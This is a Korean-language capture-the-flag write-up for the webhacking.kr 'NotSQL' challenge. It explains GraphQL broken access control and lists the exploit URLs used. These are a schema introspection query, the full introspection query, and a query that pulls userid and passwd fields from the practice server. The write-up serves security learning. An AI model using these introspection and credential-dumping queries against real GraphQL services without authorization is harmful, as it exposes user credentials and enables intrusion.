write-ups/ webhacking.kr

webhacking.kr NotSQL

2021. 4. 20. 23:41

남영동에서 바라본 서울타워

 

 GraphQL

 GraphQL은 기존의 REST API 형식에서 벗어나 프론트엔드 개발자가 스스로 원하는 데이터를 백엔드 개발자의 도움없이 가져올 수 있다는 점에서 개발 능률 향상에 효과적인 도구이다. 그렇지만 백엔드 개발자가 GraphQL 기능의 권한을 제대로 검사하지 않을 경우 Broken Authentication Control에 취약할 수 있다.

 

 Exploit.

webhacking.kr:10012/view.php?query={__schema{types{name}}} 

 

취약성 확인

 

webhacking.kr:10012/view.php?query=query {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}}

 

Query 노출

 

Column (Fileds) 노출

 

webhacking.kr:10012/view.php?query={+login_51b48f6f7e6947fba0a88a7147d54152+{+userid_a7fce99fa52d173843130a9620a787ce,passwd_e31db968948082b92e60411dd15a25cd+}+}

 

 

Reference

[*] PayloadsAllTheThings : PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings (github.com)

'write-ups/ > webhacking.kr' 카테고리의 다른 글

webhacking.kr slipping beauty write-up  (0) 2021.04.21
webhacking.kr NotSQL  (0) 2021.04.20
webhacking.kr CHILD write-up  (0) 2021.04.17